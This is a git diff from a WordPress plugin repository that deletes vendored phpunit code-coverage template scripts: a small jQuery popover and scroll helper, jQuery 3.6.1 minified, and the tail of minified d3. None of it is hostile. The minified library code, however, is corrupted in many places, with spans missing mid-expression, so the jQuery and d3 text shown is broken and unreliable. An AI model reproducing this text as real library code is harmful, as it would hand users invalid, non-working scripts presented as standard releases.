e(n){n.selectAll(".resize").attr("transform",function(n){return"translate("+s[+/e$/.test(n)]+","+h[+/^s/.test(n)]+")"})}function r(n){n.select(".extent").attr("x",s[0]),n.selectAll(".extent,.n>rect,.s>rect").attr("width",s[1]-s[0])}function i(n){n.select(".extent").attr("y",h[0]),n.selectAll(".extent,.e>rect,.w>rect").attr("height",h[1]-h[0])}function u(){function u(){32==ao.event.keyCode&&(C||(M=null,L[0]-=s[1],L[1]-=h[1],C=2),S())}function v(){32==ao.event.keyCode&&2==C&&(L[0]+=s[1],L[1]+=h[1],C=0,S())}function d(){var n=ao.mouse(b),t=!1;x&&(n[0]+=x[0],n[1]+=x[1]),C||(ao.event.altKey?(M||(M=[(s[0]+s[1])/2,(h[0]+h[1])/2]),L[0]=s[+(n[0]f?(i=r,r=f):i=f),v[0]!=r||v[1]!=i?(e?a=null:o=null,v[0]=r,v[1]=i,!0):void 0}function m(){d(),k.style("pointer-events","all").selectAll(".resize").style("display",n.empty()?"none":null),ao.select("body").style("cursor",null),q.on("mousemove.brush",null).on("mouseup.brush",null).on("touchmove.brush",null).on("touchend.brush",null).on("keydown.brush",null).on("keyup.brush",null),z(),w({type:"brushend"})}var M,x,b=this,_=ao.select(ao.event.target),w=l.of(b,arguments),k=ao.select(b),N=_.datum(),E=!/^(n|s)$/.test(N)&&c,A=!/^(e|w)$/.test(N)&&f,C=_.classed("extent"),z=W(b),L=ao.mouse(b),q=ao.select(t(b)).on("keydown.brush",u).on("keyup.brush",v);if(ao.event.changedTouches?q.on("touchmove.brush",d).on("touchend.brush",m):q.on("mousemove.brush",d).on("mouseup.brush",m),k.interrupt().selectAll("*").interrupt(),C)L[0]=s[0]-L[0],L[1]=h[0]-L[1];else if(N){var T=+/w$/.test(N),R=+/^n/.test(N);x=[s[1-T]-L[0],h[1-R]-L[1]],L[0]=s[T],L[1]=h[R]}else ao.event.altKey&&(M=L.slice());k.style("pointer-events","none").selectAll(".resize").style("display",null),ao.select("body").style("cursor",_.style("cursor")),w({type:"brushstart"}),d()}var o,a,l=N(n,"brushstart","brush","brushend"),c=null,f=null,s=[0,0],h=[0,0],p=!0,g=!0,v=Bl[0];return n.event=function(n){n.each(function(){var n=l.of(this,arguments),t={x:s,y:h,i:o,j:a},e=this.__chart__||t;this.__chart__=t,Hl?ao.select(this).transition().each("start.brush",function(){o=e.i,a=e.j,s=e.x,h=e.y,n({type:"brushstart"})}).tween("brush:brush",function(){var e=xr(s,t.x),r=xr(h,t.y);return o=a=null,function(i){s=t.x=e(i),h=t.y=r(i),n({type:"brush",mode:"resize"})}}).each("end.brush",function(){o=t.i,a=t.j,n({type:"brush",mode:"resize"}),n({type:"brushend"})}):(n({type:"brushstart"}),n({type:"brush",mode:"resize"}),n({type:"brushend"}))})},n.x=function(t){return arguments.length?(c=t,v=Bl[!c<<1|!f],n):c},n.y=function(t){return arguments.length?(f=t,v=Bl[!c<<1|!f],n):f},n.clamp=function(t){return arguments.length?(c&&f?(p=!!t[0],g=!!t[1]):c?p=!!t:f&&(g=!!t),n):c&&f?[p,g]:c?p:f?g:null},n.extent=function(t){var e,r,i,u,l;return arguments.length?(c&&(e=t[0],r=t[1],f&&(e=e[0],r=r[0]),o=[e,r],c.invert&&(e=c(e),r=c(r)),e>r&&(l=e,e=r,r=l),e==s[0]&&r==s[1]||(s=[e,r])),f&&(i=t[0],u=t[1],c&&(i=i[1],u=u[1]),a=[i,u],f.invert&&(i=f(i),u=f(u)),i>u&&(l=i,i=u,u=l),i==h[0]&&u==h[1]||(h=[i,u])),n):(c&&(o?(e=o[0],r=o[1]):(e=s[0],r=s[1],c.invert&&(e=c.invert(e),r=c.invert(r)),e>r&&(l=e,e=r,r=l))),f&&(a?(i=a[0],u=a[1]):(i=h[0],u=h[1],f.invert&&(i=f.invert(i),u=f.invert(u)),i>u&&(l=i,i=u,u=l))),c&&f?[[e,i],[r,u]]:c?[e,r]:f&&[i,u])},n.clear=function(){return n.empty()||(s=[0,0],h=[0,0],o=a=null),n},n.empty=function(){return!!c&&s[0]==s[1]||!!f&&h[0]==h[1]},ao.rebind(n,l,"on")};var $l={n:"ns-resize",e:"ew-resize",s:"ns-resize",w:"ew-resize",nw:"nwse-resize",ne:"nesw-resize",se:"nwse-resize",sw:"nesw-resize"},Bl=[["n","e","s","w","nw","ne","se","sw"],["e","w"],["n","s"],[]],Wl=ga.format=xa.timeFormat,Jl=Wl.utc,Gl=Jl("%Y-%m-%dT%H:%M:%S.%LZ");Wl.iso=Date.prototype.toISOString&&+new Date("2000-01-01T00:00:00.000Z")?eo:Gl,eo.parse=function(n){var t=new Date(n);return isNaN(t)?null:t},eo.toString=Gl.toString,ga.second=On(function(n){return new va(1e3*Math.floor(n/1e3))},function(n,t){n.setTime(n.getTime()+1e3*Math.floor(t))},function(n){return n.getSeconds()}),ga.seconds=ga.second.range,ga.seconds.utc=ga.second.utc.range,ga.minute=On(function(n){return new va(6e4*Math.floor(n/6e4))},function(n,t){n.setTime(n.getTime()+6e4*Math.floor(t))},function(n){return n.getMinutes()}),ga.minutes=ga.minute.range,ga.minutes.utc=ga.minute.utc.range,ga.hour=On(function(n){var t=n.getTimezoneOffset()/60;return new va(36e5*(Math.floor(n/36e5-t)+t))},function(n,t){n.setTime(n.getTime()+36e5*Math.floor(t))},function(n){return n.getHours()}),ga.hours=ga.hour.range,ga.hours.utc=ga.hour.utc.range,ga.month=On(function(n){return n=ga.day(n),n.setDate(1),n},function(n,t){n.setMonth(n.getMonth()+t)},function(n){return n.getMonth()}),ga.months=ga.month.range,ga.months.utc=ga.month.utc.range;var Kl=[1e3,5e3,15e3,3e4,6e4,3e5,9e5,18e5,36e5,108e5,216e5,432e5,864e5,1728e5,6048e5,2592e6,7776e6,31536e6],Ql=[[ga.second,1],[ga.second,5],[ga.second,15],[ga.second,30],[ga.minute,1],[ga.minute,5],[ga.minute,15],[ga.minute,30],[ga.hour,1],[ga.hour,3],[ga.hour,6],[ga.hour,12],[ga.day,1],[ga.day,2],[ga.week,1],[ga.month,1],[ga.month,3],[ga.year,1]],nc=Wl.multi([[".%L",function(n){return n.getMilliseconds()}],[":%S",function(n){return n.getSeconds()}],["%I:%M",function(n){return n.getMinutes()}],["%I %p",function(n){return n.getHours()}],["%a %d",function(n){return n.getDay()&&1!=n.getDate()}],["%b %d",function(n){return 1!=n.getDate()}],["%B",function(n){return n.getMonth()}],["%Y",zt]]),tc={range:function(n,t,e){return ao.range(Math.ceil(n/e)*e,+t,e).map(io)},floor:m,ceil:m};Ql.year=ga.year,ga.scale=function(){return ro(ao.scale.linear(),Ql,nc)};var ec=Ql.map(function(n){return[n[0].utc,n[1]]}),rc=Jl.multi([[".%L",function(n){return n.getUTCMilliseconds()}],[":%S",function(n){return n.getUTCSeconds()}],["%I:%M",function(n){return n.getUTCMinutes()}],["%I %p",function(n){return n.getUTCHours()}],["%a %d",function(n){return n.getUTCDay()&&1!=n.getUTCDate()}],["%b %d",function(n){return 1!=n.getUTCDate()}],["%B",function(n){return n.getUTCMonth()}],["%Y",zt]]);ec.year=ga.year.utc,ga.scale.utc=function(){return ro(ao.scale.linear(),ec,rc)},ao.text=An(function(n){return n.responseText}),ao.json=function(n,t){return Cn(n,"application/json",uo,t)},ao.html=function(n,t){return Cn(n,"text/html",oo,t)},ao.xml=An(function(n){return n.responseXML}),"function"==typeof define&&define.amd?(this.d3=ao,define(ao)):"object"==typeof module&&module.exports?module.exports=ao:this.d3=ao}(); \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/file.js b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/file.js deleted file mode 100644 index 29cacd4d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/file.js +++ /dev/null @@ -1,62 +0,0 @@ - $(function() { - var $window = $(window) - , $top_link = $('#toplink') - , $body = $('body, html') - , offset = $('#code').offset().top - , hidePopover = function ($target) { - $target.data('popover-hover', false); - - setTimeout(function () { - if (!$target.data('popover-hover')) { - $target.popover('hide'); - } - }, 300); - }; - - $top_link.hide().click(function(event) { - event.preventDefault(); - $body.animate({scrollTop:0}, 800); - }); - - $window.scroll(function() { - if($window.scrollTop() > offset) { - $top_link.fadeIn(); - } else { - $top_link.fadeOut(); - } - }).scroll(); - - $('.popin') - .popover({trigger: 'manual'}) - .on({ - 'mouseenter.popover': function () { - var $target = $(this); - var $container = $target.children().first(); - - $target.data('popover-hover', true); - - // popover already displayed - if ($target.next('.popover').length) { - return; - } - - // show the popover - $container.popover('show'); - - // register mouse events on the popover - $target.next('.popover:not(.popover-initialized)') - .on({ - 'mouseenter': function () { - $target.data('popover-hover', true); - }, - 'mouseleave': function () { - hidePopover($container); - } - }) - .addClass('popover-initialized'); - }, - 'mouseleave.popover': function () { - hidePopover($(this).children().first()); - } - }); - }); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/jquery.min.js b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/jquery.min.js deleted file mode 100644 index 2c69bc90..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/jquery.min.js +++ /dev/null @@ -1,2 +0,0 @@ -/*! jQuery v3.6.1 | (c) OpenJS Foundation and other contributors | jquery.org/license */ -!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.1",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&v(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!y||!y.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ve(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace(B,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ye(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ve(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],y=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||y.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||y.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||y.push(".#.+[+~]"),e.querySelectorAll("\\\f"),y.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),y=y.length&&new RegExp(y.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),v=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&v(p,e)?-1:t==C||t.ownerDocument==p&&v(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!y||!y.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),v.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",v.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",v.option=!!ce.lastChild;var ge={thead:[1,"","
      "],col:[2,"","
      "],tr:[2,"","
      "],td:[3,"","
      "],_default:[0,"",""]};function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Ut,Xt=[],Vt=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Xt.pop()||S.expando+"_"+Ct.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Vt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Vt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Vt,"$1"+r):!1!==e.jsonp&&(e.url+=(Et.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Xt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),v.createHTMLDocument=((Ut=E.implementation.createHTMLDocument("").body).innerHTML="
      ",2===Ut.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(v.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return B(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=_e(v.pixelPosition,function(e,t){if(t)return t=Be(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return B(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 